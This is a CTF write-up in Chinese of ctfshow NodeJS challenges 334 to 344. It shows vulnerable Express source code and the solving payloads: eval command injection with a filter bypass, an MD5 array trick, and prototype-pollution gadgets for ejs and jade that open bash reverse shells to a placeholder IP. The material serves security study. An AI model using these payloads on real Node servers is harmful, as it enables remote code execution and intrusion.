ctfshow_NodeJS

web 334 大小写特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

// login.js
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

账密

1
CTFSHOw / 123456

web 335 函数利用

函数利用

1
2
3
4
5
6
7
8
require('child_process').execSync('ls');
require('child_process').execSync('ls').toString();
require('child_process').spawnSync('cat',['fl00g.txt']).output;
require('child_process').spawnSync('cat',['fl00g.txt']).stdout;

//文件操作
require('fs').readdirSync('.');
require('fs').readFileSync('fl00g.txt')

web 336 函数利用

黑盒过滤? 别急

  1. 查看当前页面的执行脚本内容 /?eval=__filename
    1
    2
    3
    4
    __filename 
    //表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
    __dirname
    //表示当前执行脚本所在的目录。
  2. 得到 /app/routes/index.js
  3. 查看 index.js 的内容
    1
    /?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
  4. 过滤exec | load
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    var express = require('express');
    var router = express.Router();

    router.get('/', function(req, res, next) {
    res.type('html');
    var evalString = req.query.eval;
    if (typeof evalString === 'string' && evalString.search(/exec|load/i) > -1) {
    res.render('index', { title: 'tql' });
    } else {
    try {
    var result = eval(evalString);
    res.render('index', { title: result });
    } catch (error) {
    res.render('index', { title: 'Error in evaluation' });
    }
    }
    });

    module.exports = router;
  5. 修改命令(绕过过滤)
    1
    2
    3
    4
    5
    require('child_process').execSync('ls');

    // + 绕过 exec (提醒URLencode)
    require('child_process')['exe'+'cSync']('ls');
    //require('child_process')['exe'%2B'cSync']('ls')%3B
  6. 也可以利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件
    1
    2
    3
    require('fs').readdirSync('.')

    require('fs').readFileSync('fl001g.txt','utf-8')

web 337 MD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
//为get传参,参数为a和b
var a = req.query.a;
var b = req.query.b;

//要求a和b不能为空,a的长度等于b的长度,a不能等于b,且a+flag的md5值要等于b+flag的md5值
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});

module.exports = router;

MD5 绕过

1
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
1
2
3
/?a[x]=1&b[x]=2

/?a[0]=1&b[0]=1

web 338 原型链污染

继承与原型链

给了源码

/routes/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
 
  var sess = req.session;
 
  let user = {};
  var secert = {};
 
  utils.copy(user,req.body); // 后者 req 的内容覆盖给 user
 // secert.__proto__ == user.__proto__
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

module.exports = router;

这里 secert.ctfshow==='36dboy'

utils.copy()

1
2
3
4
5
6
7
8
9
10
11
// /untils/common.js

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

赋值

赋值 , 令原型新加一个 ctfshow ='36dboy'

1
{"__proto__":{"ctfshow":"36dboy"}}

抓包 , 替换掉原来给 username, passwd 赋值的 JSON 包
发出就能拿 flag

发包

web 339 原型链污染

白盒
结构跟 338 类似

/routes/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;

var secert = {};
let user = {};

utils.copy(user,req.body);

if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;
  1. utils.copy()函数跟 338 一样
  2. secert.ctfshow===flag flag 不知道因此不能够通过 修改属性 达成条件
  3. /api.js
    1
    {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

非预期解

引擎漏洞

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

web 340 原型链污染

类似 339

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

web 341 ejs 模板引擎漏洞

Snyk 依赖性安全漏洞扫描工具-CSDN博客
存在ejs模板引擎漏洞

1
2
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var __tmp2"}}}
//直接监听发送即可 , flag 在env里面

web 342 343 JADE RCE

再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

//或

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');//"}}}

//或

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}


web 344

需要满足

1
2
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true)
//?query={"name":"admin","password":"ctfshow","isVIP":true}

但是过滤了 ,2c (逗号的url编码)
我们可以用&代替
传之前对 ctfshow 进行 url 编码

1
2
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

因为”的 url 编码是%22 再和 c 连接起来就是%22c,会匹配到正则表达式

1
2
?query={"name":"admin"&query="password":"%63%74%66%73%68%6f%77"&query="isVIP":true}